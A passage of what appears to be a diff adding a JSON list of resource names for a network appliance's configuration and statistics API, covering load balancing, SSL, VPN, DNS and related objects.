"contentinspectionpolicy_contentinspectionpolicylabel_binding", + "contentinspectionpolicy_csvserver_binding", + "contentinspectionpolicy_lbvserver_binding", + "contentinspectionpolicylabel", + "contentinspectionpolicylabel_binding", + "contentinspectionpolicylabel_contentinspectionpolicy_binding", + "contentinspectionpolicylabel_policybinding_binding", + "contentinspectionprofile", + "contentinspectionwasmprofile", + "cr", + "craction", + "crpolicy", + "crpolicy_binding", + "crpolicy_crvserver_binding", + "crvserver", + "crvserver_analyticsprofile_binding", + "crvserver_appflowpolicy_binding", + "crvserver_appfwpolicy_binding", + "crvserver_appqoepolicy_binding", + "crvserver_binding", + "crvserver_cachepolicy_binding", + "crvserver_cmppolicy_binding", + "crvserver_crpolicy_binding", + "crvserver_cspolicy_binding", + "crvserver_feopolicy_binding", + "crvserver_icapolicy_binding", + "crvserver_lbvserver_binding", + "crvserver_policymap_binding", + "crvserver_responderpolicy_binding", + "crvserver_rewritepolicy_binding", + "crvserver_spilloverpolicy_binding", + "cs", + "csaction", + "csparameter", + "cspolicy", + "cspolicy_binding", + "cspolicy_crvserver_binding", + "cspolicy_cspolicylabel_binding", + "cspolicy_csvserver_binding", + "cspolicylabel", + "cspolicylabel_binding", + "cspolicylabel_cspolicy_binding", + "csvserver", + "csvserver_analyticsprofile_binding", + "csvserver_appflowpolicy_binding", + "csvserver_appfwpolicy_binding", + "csvserver_appqoepolicy_binding", + "csvserver_auditnslogpolicy_binding", + "csvserver_auditsyslogpolicy_binding", + "csvserver_authorizationpolicy_binding", + "csvserver_binding", + "csvserver_botpolicy_binding", + "csvserver_cachepolicy_binding", + "csvserver_cmppolicy_binding", + "csvserver_contentinspectionpolicy_binding", + "csvserver_cspolicy_binding", + "csvserver_domain_binding", + "csvserver_feopolicy_binding", + "csvserver_gslbvserver_binding", + "csvserver_lbvserver_binding", + "csvserver_responderpolicy_binding", + "csvserver_rewritepolicy_binding", + "csvserver_spilloverpolicy_binding", + "csvserver_tmtrafficpolicy_binding", + "csvserver_transformpolicy_binding", + "csvserver_vpnvserver_binding", + "db", + "dbdbprofile", + "dbsmonitors", + "dbuser", + "dns", + "dnsaaaarec", + "dnsaction", + "dnsaction64", + "dnsaddrec", + "dnscaarec", + "dnscnamerec", + "dnsdsfile", + "dnsglobal_binding", + "dnsglobal_dnspolicy_binding", + "dnskey", + "dnsmxrec", + "dnsnameserver", + "dnsnaptrrec", + "dnsnegativecacherecords", + "dnsnsecrec", + "dnsnsrec", + "dnsparameter", + "dnspolicy", + "dnspolicy64", + "dnspolicy64_binding", + "dnspolicy64_lbvserver_binding", + "dnspolicy_binding", + "dnspolicy_dnsglobal_binding", + "dnspolicy_dnspolicylabel_binding", + "dnspolicylabel", + "dnspolicylabel_binding", + "dnspolicylabel_dnspolicy_binding", + "dnspolicylabel_policybinding_binding", + "dnsprofile", + "dnsproxyrecords", + "dnsptrrec", + "dnssoarec", + "dnssrvrec", + "dnssubnetcache", + "dnssuffix", + "dnssvcbrec", + "dnstxtrec", + "dnsview", + "dnsview_binding", + "dnsview_dnspolicy_binding", + "dnsview_gslbservice_binding", + "dnszone", + "dnszone_binding", + "dnszone_dnskey_binding", + "dnszone_domain_binding", + "dps", + "dpsparameter", + "endpoint", + "endpointinfo", + "extendedmemoryparam", + "feo", + "feoaction", + "feoglobal_binding", + "feoglobal_feopolicy_binding", + "feoparameter", + "feopolicy", + "feopolicy_binding", + "feopolicy_csvserver_binding", + "feopolicy_feoglobal_binding", + "feopolicy_lbvserver_binding", + "filesystemencryption", + "fis", + "fis_binding", + "fis_channel_binding", + "fis_interface_binding", + "forwardingsession", + "gslb", + "gslbconfig", + "gslbdomain", + "gslbdomain_binding", + "gslbdomain_gslbservice_binding", + "gslbdomain_gslbservicegroup_binding", + "gslbdomain_gslbservicegroupmember_binding", + "gslbdomain_gslbvserver_binding", + "gslbdomain_lbmonitor_binding", + "gslbldnsentries", + "gslbldnsentry", + "gslbparameter", + "gslbrunningconfig", + "gslbservice", + "gslbservice_binding", + "gslbservice_dnsview_binding", + "gslbservice_lbmonitor_binding", + "gslbservicegroup", + "gslbservicegroup_binding", + "gslbservicegroup_gslbservicegroupmember_binding", + "gslbservicegroup_lbmonitor_binding", + "gslbservicegroup_servicegroupentitymonbindings_binding", + "gslbsite", + "gslbsite_binding", + "gslbsite_gslbservice_binding", + "gslbsite_gslbservicegroup_binding", + "gslbsite_gslbservicegroupmember_binding", + "gslbsyncstatus", + "gslbvserver", + "gslbvserver_binding", + "gslbvserver_domain_binding", + "gslbvserver_gslbservice_binding", + "gslbvserver_gslbservicegroup_binding", + "gslbvserver_gslbservicegroupmember_binding", + "gslbvserver_lbpolicy_binding", + "gslbvserver_spilloverpolicy_binding", + "ha", + "hafailover", + "hafiles", + "hanode", + "hanode_binding", + "hanode_ci_binding", + "hanode_fis_binding", + "hanode_partialfailureinterfaces_binding", + "hanode_routemonitor6_binding", + "hanode_routemonitor_binding", + "hasync", + "hasyncfailures", + "ica", + "icaaccessprofile", + "icaaction", + "icaglobal_binding", + "icaglobal_icapolicy_binding", + "icalatencyprofile", + "icaparameter", + "icapolicy", + "icapolicy_binding", + "icapolicy_crvserver_binding", + "icapolicy_icaglobal_binding", + "icapolicy_vpnvserver_binding", + "inat", + "inatparam", + "install", + "interface", + "interfacepair", + "ip6tunnel", + "ip6tunnelparam", + "iproute", + "ipsec", + "ipsecalg", + "ipsecalgprofile", + "ipsecalgsession", + "ipsecparameter", + "ipsecprofile", + "ipset", + "ipset_binding", + "ipset_nsip6_binding", + "ipset_nsip_binding", + "iptunnel", + "iptunnelparam", + "ipv6", + "kafka", + "kafkacluster", + "kafkacluster_binding", + "kafkacluster_servicegroup_binding", + "l2param", + "l3param", + "l4param", + "lacp", + "lb", + "lbaction", + "lbglobal_binding", + "lbglobal_lbpolicy_binding", + "lbgroup", + "lbgroup_binding", + "lbgroup_lbvserver_binding", + "lbmetrictable", + "lbmetrictable_binding", + "lbmetrictable_metric_binding", + "lbmonbindings", + "lbmonbindings_binding", + "lbmonbindings_gslbservicegroup_binding", + "lbmonbindings_service_binding", + "lbmonbindings_servicegroup_binding", + "lbmonitor", + "lbmonitor_binding", + "lbmonitor_metric_binding", + "lbmonitor_service_binding", + "lbmonitor_servicegroup_binding", + "lbmonitor_sslcertkey_binding", + "lbparameter", + "lbpersistentsessions", + "lbpolicy", + "lbpolicy_binding", + "lbpolicy_gslbvserver_binding", + "lbpolicy_lbglobal_binding", + "lbpolicy_lbpolicylabel_binding", + "lbpolicy_lbvserver_binding", + "lbpolicylabel", + "lbpolicylabel_binding", + "lbpolicylabel_lbpolicy_binding", + "lbpolicylabel_policybinding_binding", + "lbprofile", + "lbroute", + "lbroute6", + "lbsipparameters", + "lbvserver", + "lbvserver_analyticsprofile_binding", + "lbvserver_appflowpolicy_binding", + "lbvserver_appfwpolicy_binding", + "lbvserver_appqoepolicy_binding", + "lbvserver_auditnslogpolicy_binding", + "lbvserver_auditsyslogpolicy_binding", + "lbvserver_authorizationpolicy_binding", + "lbvserver_binding", + "lbvserver_botpolicy_binding", + "lbvserver_cachepolicy_binding", + "lbvserver_cmppolicy_binding", + "lbvserver_contentinspectionpolicy_binding", + "lbvserver_csvserver_binding", + "lbvserver_dnspolicy64_binding", + "lbvserver_feopolicy_binding", + "lbvserver_lbpolicy_binding", + "lbvserver_responderpolicy_binding", + "lbvserver_rewritepolicy_binding", + "lbvserver_service_binding", + "lbvserver_servicegroup_binding", + "lbvserver_servicegroupmember_binding", + "lbvserver_spilloverpolicy_binding", + "lbvserver_tmtrafficpolicy_binding", + "lbvserver_transformpolicy_binding", + "lbvserver_videooptimizationdetectionpolicy_binding", + "lbvserver_videooptimizationpacingpolicy_binding", + "lbwlm", + "lbwlm_binding", + "lbwlm_lbvserver_binding", + "linkset", + "linkset_binding", + "linkset_channel_binding", + "linkset_interface_binding", + "lldp", + "lldpneighbors", + "lldpparam", + "location", + "locationdata", + "locationfile", + "locationfile6", + "locationparameter", + "lsn", + "lsnappsattributes", + "lsnappsprofile", + "lsnappsprofile_binding", + "lsnappsprofile_lsnappsattributes_binding", + "lsnappsprofile_port_binding", + "lsnclient", + "lsnclient_binding", + "lsnclient_network6_binding", + "lsnclient_network_binding", + "lsnclient_nsacl6_binding", + "lsnclient_nsacl_binding", + "lsndeterministicnat", + "lsngroup", + "lsngroup_binding", + "lsngroup_ipsecalgprofile_binding", + "lsngroup_lsnappsprofile_binding", + "lsngroup_lsnhttphdrlogprofile_binding", + "lsngroup_lsnlogprofile_binding", + "lsngroup_lsnpool_binding", + "lsngroup_lsnrtspalgprofile_binding", + "lsngroup_lsnsipalgprofile_binding", + "lsngroup_lsntransportprofile_binding", + "lsngroup_pcpserver_binding", + "lsnhttphdrlogprofile", + "lsnip6profile", + "lsnlogprofile", + "lsnparameter", + "lsnpool", + "lsnpool_binding", + "lsnpool_lsnip_binding", + "lsnrtspalgprofile", + "lsnrtspalgsession", + "lsnrtspalgsession_binding", + "lsnrtspalgsession_datachannel_binding", + "lsnsession", + "lsnsipalgcall", + "lsnsipalgcall_binding", + "lsnsipalgcall_controlchannel_binding", + "lsnsipalgcall_datachannel_binding", + "lsnsipalgprofile", + "lsnstatic", + "lsntransportprofile", + "mapbmr", + "mapbmr_binding", + "mapbmr_bmrv4network_binding", + "mapdmr", + "mapdomain", + "mapdomain_binding", + "mapdomain_mapbmr_binding", + "mcpprofile", + "metrics", + "metricsprofile", + "metricsprofile_authenticationvserver_binding", + "metricsprofile_binding", + "metricsprofile_crvserver_binding", + "metricsprofile_csvserver_binding", + "metricsprofile_gslbvserver_binding", + "metricsprofile_lbvserver_binding", + "metricsprofile_service_binding", + "metricsprofile_servicegroup_binding", + "metricsprofile_uservserver_binding", + "metricsprofile_vpnvserver_binding", + "nat64", + "nat64param", + "nd6", + "nd6ravariables", + "nd6ravariables_binding", + "nd6ravariables_onlinkipv6prefix_binding", + "netbridge", + "netbridge_binding", + "netbridge_iptunnel_binding", + "netbridge_nsip6_binding", + "netbridge_nsip_binding", + "netbridge_vlan_binding", + "netprofile", + "netprofile_binding", + "netprofile_natrule_binding", + "netprofile_srcportset_binding", + "network", + "ns", + "nsacl", + "nsacl6", + "nsacls", + "nsacls6", + "nsappflowcollector", + "nsappflowparam", + "nsaptlicense", + "nsassignment", + "nscapacity", + "nscentralmanagementserver", + "nschannelparam", + "nsconfig", + "nsconfigview", + "nsconnectiontable", + "nsconsoleloginprompt", + "nscqaparam", + "nsdhcpip", + "nsdhcpparams", + "nsdiameter", + "nsencryptionkey", + "nsencryptionparams", + "nsevents", + "nsextension", + "nsextension_binding", + "nsextension_extensionfunction_binding", + "nsfeature", + "nshardware", + "nshmackey", + "nshostname", + "nshttpparam", + "nshttpprofile", + "nsicapprofile", + "nsip", + "nsip6", + "nsjob", + "nskeymanagerproxy", + "nslaslicense", + "nslicense", + "nslicenseactivationdata", + "nslicenseparameters", + "nslicenseproxyserver", + "nslicenseserver", + "nslicenseserverpool", + "nslimitidentifier", + "nslimitidentifier_binding", + "nslimitidentifier_nslimitsessions_binding", + "nslimitselector", + "nslimitsessions", + "nsmemrecovery", + "nsmgmtparam", + "nsmigration", + "nsmode", + "nsnextgenapi", + "nsparam", + "nspartition", + "nspartition_binding", + "nspartition_bridgegroup_binding", + "nspartition_vlan_binding", + "nspartition_vxlan_binding", + "nspartitionmac", + "nspbr", + "nspbr6", + "nspbrs", + "nsratecontrol", + "nsrollbackcmd", + "nsrpcnode", + "nsrunningconfig", + "nssavedconfig", + "nsservicefunction", + "nsservicepath", + "nsservicepath_binding", + "nsservicepath_nsservicefunction_binding", + "nssimpleacl", + "nssimpleacl6", + "nssourceroutecachetable", + "nsspparams", + "nsstats", + "nssurgeq", + "nstcpbufparam", + "nstcpparam", + "nstcpprofile", + "nstestlicense", + "nstimeout", + "nstimer", + "nstimer_autoscalepolicy_binding", + "nstimer_binding", + "nstimezone", + "nstrace", + "nstrafficdomain", + "nstrafficdomain_binding", + "nstrafficdomain_bridgegroup_binding", + "nstrafficdomain_vlan_binding", + "nstrafficdomain_vxlan_binding", + "nsvariable", + "nsvariablevalues", + "nsversion", + "nsvpxparam", + "nsweblogparam", + "nsxmlnamespace", + "ntp", + "ntpparam", + "ntpserver", + "ntpstatus", + "ntpsync", + "onlinkipv6prefix", + "ospf6database", + "ospf6interface", + "ospf6neighbor", + "ospf6router", + "ospfdatabase", + "ospfinterface", + "ospfneighbor", + "ospfrouter", + "pcp", + "pcpmap", + "pcpprofile", + "pcpserver", + "ping", + "ping6", + "policy", + "policydataset", + "policydataset_binding", + "policydataset_value_binding", + "policyevaluation", + "policyexpression", + "policyhttpcallout", + "policymap", + "policyparam", + "policypatset", + "policypatset_binding", + "policypatset_pattern_binding", + "policypatsetfile", + "policystringmap", + "policystringmap_binding", + "policystringmap_pattern_binding", + "policytracing", + "policyurlset", + "portallocation", + "protocol", + "protocolhttpband", + "ptp", + "quic", + "quicbridge", + "quicbridgeprofile", + "quicparam", + "quicprofile", + "radiusnode", + "raid", + "rdp", + "rdpclientprofile", + "rdpconnections", + "rdpserverprofile", + "reboot", + "reputation", + "reputationsettings", + "responder", + "responderaction", + "responderglobal_binding", + "responderglobal_responderpolicy_binding", + "responderhtmlpage", + "responderparam", + "responderpolicy", + "responderpolicy_binding", + "responderpolicy_crvserver_binding", + "responderpolicy_csvserver_binding", + "responderpolicy_lbvserver_binding", + "responderpolicy_responderglobal_binding", + "responderpolicy_responderpolicylabel_binding", + "responderpolicy_vpnvserver_binding", + "responderpolicylabel", + "responderpolicylabel_binding", + "responderpolicylabel_policybinding_binding", + "responderpolicylabel_responderpolicy_binding", + "rewrite", + "rewriteaction", + "rewriteglobal_binding", + "rewriteglobal_rewritepolicy_binding", + "rewriteparam", + "rewritepolicy", + "rewritepolicy_binding", + "rewritepolicy_csvserver_binding", + "rewritepolicy_lbvserver_binding", + "rewritepolicy_rewriteglobal_binding", + "rewritepolicy_rewritepolicylabel_binding", + "rewritepolicy_vpnvserver_binding", + "rewritepolicylabel", + "rewritepolicylabel_binding", + "rewritepolicylabel_policybinding_binding", + "rewritepolicylabel_rewritepolicy_binding", + "rnat", + "rnat6", + "rnat6_binding", + "rnat6_nsip6_binding", + "rnat_binding", + "rnat_nsip_binding", + "rnat_retainsourceportset_binding", + "rnatglobal_auditsyslogpolicy_binding", + "rnatglobal_binding", + "rnatparam", + "rnatsession", + "route", + "route6", + "routemap", + "router", + "routerdynamicrouting", + "rsskeytype", + "server", + "server_binding", + "server_gslbservice_binding", + "server_gslbservicegroup_binding", + "server_service_binding", + "server_servicegroup_binding", + "service", + "service_binding", + "service_lbmonitor_binding", + "servicegroup", + "servicegroup_binding", + "servicegroup_lbmonitor_binding", + "servicegroup_servicegroupentitymonbindings_binding", + "servicegroup_servicegroupmember_binding", + "servicegroup_servicegroupmemberlist_binding", + "servicegroupbindings", + "shutdown", + "smpp", + "smppparam", + "smppuser", + "snmp", + "snmpalarm", + "snmpcommunity", + "snmpengineid", + "snmpgroup", + "snmpmanager", + "snmpmib", + "snmpoid", + "snmpoption", + "snmptrap", + "snmptrap_binding", + "snmptrap_snmpuser_binding", + "snmpuser", + "snmpview", + "spillover", + "spilloveraction", + "spilloverpolicy", + "spilloverpolicy_binding", + "spilloverpolicy_csvserver_binding", + "spilloverpolicy_gslbvserver_binding", + "spilloverpolicy_lbvserver_binding", + "ssl", + "sslaction", + "sslcacertbundle", + "sslcacertbundle_binding", + "sslcacertbundle_intermediatecacertlist_binding", + "sslcacertgroup", + "sslcacertgroup_binding", + "sslcacertgroup_sslcertkey_binding", + "sslcert", + "sslcertbundle", + "sslcertchain", + "sslcertchain_binding", + "sslcertchain_sslcertkey_binding", + "sslcertfile", + "sslcertificatechain", + "sslcertkey", + "sslcertkey_binding", + "sslcertkey_crldistribution_binding", + "sslcertkey_service_binding", + "sslcertkey_sslocspresponder_binding", + "sslcertkey_sslprofile_binding", + "sslcertkey_sslvserver_binding", + "sslcertkeybundle", + "sslcertkeybundle_binding", + "sslcertkeybundle_intermediatecertlinks_binding", + "sslcertkeybundle_sslvserver_binding", + "sslcertlink", + "sslcertreq", + "sslcipher", + "sslcipher_binding", + "sslcipher_individualcipher_binding", + "sslcipher_service_binding", + "sslcipher_servicegroup_binding", + "sslcipher_sslciphersuite_binding", + "sslcipher_sslprofile_binding", + "sslcipher_sslvserver_binding", + "sslciphersuite", + "sslcrl", + "sslcrl_binding", + "sslcrl_serialnumber_binding", + "sslcrlfile", + "ssldefaultprofile", + "ssldhfile", + "ssldhparam", + "ssldtlsprofile", + "sslecdsakey", + "sslechconfig", + "sslfips", + "sslfipskey", + "sslfipssimsource", + "sslfipssimtarget", + "sslglobal_binding", + "sslglobal_sslpolicy_binding", + "sslhpkekey", + "sslhsmkey", + "sslkeyfile", + "ssllogprofile", + "sslocspresponder", + "sslparameter", + "sslpkcs12", + "sslpkcs8", + "sslpolicy", + "sslpolicy_binding", + "sslpolicy_csvserver_binding", + "sslpolicy_lbvserver_binding", + "sslpolicy_sslglobal_binding", + "sslpolicy_sslpolicylabel_binding", + "sslpolicy_sslservice_binding", + "sslpolicy_sslvserver_binding", + "sslpolicylabel", + "sslpolicylabel_binding", + "sslpolicylabel_sslpolicy_binding", + "sslprofile", + "sslprofile_binding", + "sslprofile_ecccurve_binding", + "sslprofile_forgingcacertkey_binding", + "sslprofile_sslcertkey_binding", + "sslprofile_sslcipher_binding", + "sslprofile_sslciphersuite_binding", + "sslprofile_sslechconfig_binding", + "sslprofile_sslvserver_binding", + "sslrsakey", + "sslservice", + "sslservice_binding", + "sslservice_ecccurve_binding", + "sslservice_sslcacertbundle_binding", + "sslservice_sslcertkey_binding", + "sslservice_sslcipher_binding", + "sslservice_sslciphersuite_binding", + "sslservice_sslpolicy_binding", + "sslservicegroup", + "sslservicegroup_binding", + "sslservicegroup_ecccurve_binding", + "sslservicegroup_sslcacertbundle_binding", + "sslservicegroup_sslcertkey_binding", + "sslservicegroup_sslcipher_binding", + "sslservicegroup_sslciphersuite_binding", + "sslvserver", + "sslvserver_binding", + "sslvserver_ecccurve_binding", + "sslvserver_hashicorp_binding", + "sslvserver_sslcacertbundle_binding", + "sslvserver_sslcertkey_binding", + "sslvserver_sslcertkeybundle_binding", + "sslvserver_sslcipher_binding", + "sslvserver_sslciphersuite_binding", + "sslvserver_sslpolicy_binding", + "sslwrapkey", + "stream", + "streamidentifier", + "streamidentifier_analyticsprofile_binding", + "streamidentifier_binding", + "streamidentifier_streamsession_binding", + "streamselector", + "streamsession", + "subscriber", + "subscribergxinterface", + "subscriberparam", + "subscriberprofile", + "subscriberradiusinterface", + "subscribersessions", + "svcbindings", + "system", + "systemadmuserinfo", + "systemautorestorefeature", + "systembackup", + "systemcmdpolicy", + "systemcpuparam", + "systemextramgmtcpu", + "systemfile", + "systemfipsstatus", + "systemglobal_auditnslogpolicy_binding", + "systemglobal_auditsyslogpolicy_binding", + "systemglobal_authenticationldappolicy_binding", + "systemglobal_authenticationlocalpolicy_binding", + "systemglobal_authenticationpolicy_binding", + "systemglobal_authenticationradiuspolicy_binding", + "systemglobal_authenticationtacacspolicy_binding", + "systemglobal_binding", + "systemgroup", + "systemgroup_binding", + "systemgroup_nspartition_binding", + "systemgroup_systemcmdpolicy_binding", + "systemgroup_systemuser_binding", + "systemhwerror", + "systemkek", + "systemnsbtracing", + "systemparameter", + "systemrestorepoint", + "systemsession", + "systemsignedexereport", + "systemsshkey", + "systemuser", + "systemuser_binding", + "systemuser_nspartition_binding", + "systemuser_systemcmdpolicy_binding", + "systemuser_systemgroup_binding", + "techsupport", + "tm", + "tmformssoaction", + "tmglobal_auditnslogpolicy_binding", + "tmglobal_auditsyslogpolicy_binding", + "tmglobal_binding", + "tmglobal_tmsessionpolicy_binding", + "tmglobal_tmtrafficpolicy_binding", + "tmsamlssoprofile", + "tmsessionaction", + "tmsessionparameter", + "tmsessionpolicy", + "tmsessionpolicy_aaagroup_binding", + "tmsessionpolicy_aaauser_binding", + "tmsessionpolicy_authenticationvserver_binding", + "tmsessionpolicy_binding", + "tmsessionpolicy_tmglobal_binding", + "tmtrafficaction", + "tmtrafficpolicy", + "tmtrafficpolicy_binding", + "tmtrafficpolicy_csvserver_binding", + "tmtrafficpolicy_lbvserver_binding", + "tmtrafficpolicy_tmglobal_binding", + "traceroute", + "traceroute6", + "transform", + "transformaction", + "transformglobal_binding", + "transformglobal_transformpolicy_binding", + "transformpolicy", + "transformpolicy_binding", + "transformpolicy_csvserver_binding", + "transformpolicy_lbvserver_binding", + "transformpolicy_transformglobal_binding", + "transformpolicy_transformpolicylabel_binding", + "transformpolicylabel", + "transformpolicylabel_binding", + "transformpolicylabel_policybinding_binding", + "transformpolicylabel_transformpolicy_binding", + "transformprofile", + "transformprofile_binding", + "transformprofile_transformaction_binding", + "tunnel", + "tunnelglobal_binding", + "tunnelglobal_tunneltrafficpolicy_binding", + "tunneltrafficpolicy", + "tunneltrafficpolicy_binding", + "tunneltrafficpolicy_tunnelglobal_binding", + "ulfd", + "ulfdserver", + "user", + "userprotocol", + "uservserver", + "utility", + "videooptimization", + "videooptimizationdetectionaction", + "videooptimizationdetectionpolicy", + "videooptimizationdetectionpolicy_binding", + "videooptimizationdetectionpolicy_lbvserver_binding", + "videooptimizationdetectionpolicy_videooptimizationglobaldetection_binding", + "videooptimizationdetectionpolicylabel", + "videooptimizationdetectionpolicylabel_binding", + "videooptimizationdetectionpolicylabel_policybinding_binding", + "videooptimizationdetectionpolicylabel_videooptimizationdetectionpolicy_binding", + "videooptimizationglobaldetection_binding", + "videooptimizationglobaldetection_videooptimizationdetectionpolicy_binding", + "videooptimizationglobalpacing_binding", + "videooptimizationglobalpacing_videooptimizationpacingpolicy_binding", + "videooptimizationpacingaction", + "videooptimizationpacingpolicy", + "videooptimizationpacingpolicy_binding", + "videooptimizationpacingpolicy_lbvserver_binding", + "videooptimizationpacingpolicy_videooptimizationglobalpacing_binding", + "videooptimizationpacingpolicylabel", + "videooptimizationpacingpolicylabel_binding", + "videooptimizationpacingpolicylabel_policybinding_binding", + "videooptimizationpacingpolicylabel_videooptimizationpacingpolicy_binding", + "videooptimizationparameter", + "vlan", + "vlan_binding", + "vlan_channel_binding", + "vlan_interface_binding", + "vlan_linkset_binding", + "vlan_nsip6_binding", + "vlan_nsip_binding", + "vpn", + "vpnalwaysonprofile", + "vpnclientlessaccesspolicy", + "vpnclientlessaccesspolicy_binding", + "vpnclientlessaccesspolicy_vpnglobal_binding", + "vpnclientlessaccesspolicy_vpnvserver_binding", + "vpnclientlessaccessprofile", + "vpnepaprofile", + "vpneula", + "vpnformssoaction", + "vpnglobal_appcontroller_binding", + "vpnglobal_appfwpolicy_binding", + "vpnglobal_auditnslogpolicy_binding", + "vpnglobal_auditsyslogpolicy_binding", + "vpnglobal_authenticationcertpolicy_binding", + "vpnglobal_authenticationldappolicy_binding", + "vpnglobal_authenticationlocalpolicy_binding", + "vpnglobal_authenticationnegotiatepolicy_binding", + "vpnglobal_authenticationpolicy_binding", + "vpnglobal_authenticationradiuspolicy_binding", + "vpnglobal_authenticationsamlpolicy_binding", + "vpnglobal_authenticationtacacspolicy_binding", + "vpnglobal_binding", + "vpnglobal_domain_binding", + "vpnglobal_intranetip6_binding", + "vpnglobal_intranetip_binding", + "vpnglobal_secureprivateaccessurl_binding", + "vpnglobal_sharefileserver_binding", + "vpnglobal_sslcertkey_binding", + "vpnglobal_staserver_binding", + "vpnglobal_vpnclientlessaccesspolicy_binding", + "vpnglobal_vpneula_binding", + "vpnglobal_vpnintranetapplication_binding", + "vpnglobal_vpnnexthopserver_binding", + "vpnglobal_vpnportaltheme_binding", + "vpnglobal_vpnsecureprivateaccessprofile_binding", + "vpnglobal_vpnsessionpolicy_binding", + "vpnglobal_vpntrafficpolicy_binding", + "vpnglobal_vpnurl_binding", + "vpnglobal_vpnurlpolicy_binding", + "vpnicaconnection", + "vpnicadtlsconnection", + "vpnintranetapplication", + "vpnnexthopserver", + "vpnparameter", + "vpnpcoipconnection", + "vpnpcoipprofile", + "vpnpcoipvserverprofile", + "vpnportaltheme", + "vpnsamlssoprofile", + "vpnsecureprivateaccessprofile", + "vpnsessionaction", + "vpnsessionpolicy", + "vpnsessionpolicy_aaagroup_binding", + "vpnsessionpolicy_aaauser_binding", + "vpnsessionpolicy_binding", + "vpnsessionpolicy_vpnglobal_binding", + "vpnsessionpolicy_vpnvserver_binding", + "vpnsfconfig", + "vpnstoreinfo", + "vpntrafficaction", + "vpntrafficpolicy", + "vpntrafficpolicy_aaagroup_binding", + "vpntrafficpolicy_aaauser_binding", + "vpntrafficpolicy_binding", + "vpntrafficpolicy_vpnglobal_binding", + "vpntrafficpolicy_vpnvserver_binding", + "vpnurl", + "vpnurlaction", + "vpnurlpolicy", + "vpnurlpolicy_aaagroup_binding", + "vpnurlpolicy_aaauser_binding", + "vpnurlpolicy_binding", + "vpnurlpolicy_vpnglobal_binding", + "vpnurlpolicy_vpnvserver_binding", + "vpnvserver", + "vpnvserver_aaapreauthenticationpolicy_binding", + "vpnvserver_analyticsprofile_binding", + "vpnvserver_appcontroller_binding", + "vpnvserver_appflowpolicy_binding", + "vpnvserver_appfwpolicy_binding", + "vpnvserver_auditnslogpolicy_binding", + "vpnvserver_auditsyslogpolicy_binding", + "vpnvserver_authenticationcertpolicy_binding", + "vpnvserver_authenticationdfapolicy_binding", + "vpnvserver_authenticationldappolicy_binding", + "vpnvserver_authenticationlocalpolicy_binding", + "vpnvserver_authenticationloginschemapolicy_binding", + "vpnvserver_authenticationnegotiatepolicy_binding", + "vpnvserver_authenticationoauthidppolicy_binding", + "vpnvserver_authenticationpolicy_binding", + "vpnvserver_authenticationradiuspolicy_binding", + "vpnvserver_authenticationsamlidppolicy_binding", + "vpnvserver_authenticationsamlpolicy_binding", + "vpnvserver_authenticationtacacspolicy_binding", + "vpnvserver_authenticationwebauthpolicy_binding", + "vpnvserver_binding", + "vpnvserver_cachepolicy_binding", + "vpnvserver_cspolicy_binding", + "vpnvserver_feopolicy_binding", + "vpnvserver_icapolicy_binding", + "vpnvserver_intranetip6_binding", + "vpnvserver_intranetip_binding", + "vpnvserver_responderpolicy_binding", + "vpnvserver_rewritepolicy_binding", + "vpnvserver_secureprivateaccessurl_binding", + "vpnvserver_sharefileserver_binding", + "vpnvserver_staserver_binding", + "vpnvserver_vpnclientlessaccesspolicy_binding", + "vpnvserver_vpnepaprofile_binding", + "vpnvserver_vpneula_binding", + "vpnvserver_vpnintranetapplication_binding", + "vpnvserver_vpnnexthopserver_binding", + "vpnvserver_vpnportaltheme_binding", + "vpnvserver_vpnsecureprivateaccessprofile_binding", + "vpnvserver_vpnsessionpolicy_binding", + "vpnvserver_vpntrafficpolicy_binding", + "vpnvserver_vpnurl_binding", + "vpnvserver_vpnurlpolicy_binding", + "vrid", + "vrid6", + "vrid6_binding", + "vrid6_channel_binding", + "vrid6_interface_binding", + "vrid6_nsip6_binding", + "vrid6_nsip_binding", + "vrid6_trackinterface_binding", + "vrid_binding", + "vrid_channel_binding", + "vrid_interface_binding", + "vrid_nsip6_binding", + "vrid_nsip_binding", + "vrid_trackinterface_binding", + "vridparam", + "vserver", + "vxlan", + "vxlan_binding", + "vxlan_iptunnel_binding", + "vxlan_nsip6_binding", + "vxlan_nsip_binding", + "vxlan_srcip_binding", + "vxlanvlanmap", + "vxlanvlanmap_binding", + "vxlanvlanmap_vxlan_binding", + "wasm", + "wasmmodule" + ], + "stat": [ + "aaa", + "aaa_page", + "api_page", + "apispec", + "appflow", + "appflow_page", + "appfw", + "appfw_page", + "appfwpolicy", + "appfwpolicylabel", + "appfwprofile", + "appqoe", + "appqoe_page", + "appqoepolicy", + "audit", + "audit_page", + "authentication_page", + "authenticationloginschemapolicy", + "authenticationoauthidppolicy", + "authenticationpolicy", + "authenticationpolicylabel", + "authenticationsamlidppolicy", + "authenticationvserver", + "authorization_page", + "authorizationpolicylabel", + "autoscale_page", + "autoscalepolicy", + "basic_page", + "bot", + "bot_page", + "botpolicy", + "botpolicylabel", + "botprofile", + "bridge", + "cache", + "cache_page", + "cachecontentgroup", + "cachepolicy", + "cachepolicylabel", + "cloud", + "cloud_page", + "cluster_page", + "clusterinstance", + "clusternode", + "cmp", + "cmp_page", + "cmppolicy", + "cmppolicylabel", + "contentinspection", + "contentinspection_page", + "contentinspectionpolicy", + "contentinspectionpolicylabel", + "cr_page", + "crvserver", + "cs_page", + "csvserver", + "dns", + "dns_page", + "dnspolicylabel", + "dnsrecords", + "feo", + "feo_page", + "gslb_page", + "gslbdomain", + "gslbservice", + "gslbservicegroup", + "gslbservicegroupmember", + "gslbsite", + "gslbvserver", + "ha_page", + "hanode", + "ica_page", + "icapolicy", + "inat", + "inatsession", + "interface", + "ipsec_page", + "ipsecalg_page", + "ipsecalgcounters", + "ipseccounters", + "lb_page", + "lbpolicy", + "lbpolicylabel", + "lbvserver", + "lldp", + "lldp_page", + "lsn", + "lsn_page", + "lsndslite", + "lsngroup", + "lsnnat64", + "lsnpool", + "mapbmr", + "mapdomain", + "nat64", + "network_page", + "ns", + "ns_page", + "nsacl", + "nsacl6", + "nslimitidentifier", + "nsmemory", + "nspartition", + "nspbr", + "nspbr6", + "nssimpleacl", + "nssimpleacl6", + "nstrafficdomain", + "pcp_page", + "pcpserver", + "protocol_page", + "protocolhttp", + "protocolhttp2", + "protocolhttp3", + "protocolicmp", + "protocolicmpv6", + "protocolip", + "protocolipv6", + "protocolmptcp", + "protocolquic", + "protocolquicbridge", + "protocoltcp", + "protocoludp", + "qos", + "qos_page", + "responder_page", + "responderpolicy", + "responderpolicylabel", + "rewrite_page", + "rewritepolicy", + "rewritepolicylabel", + "rnat", + 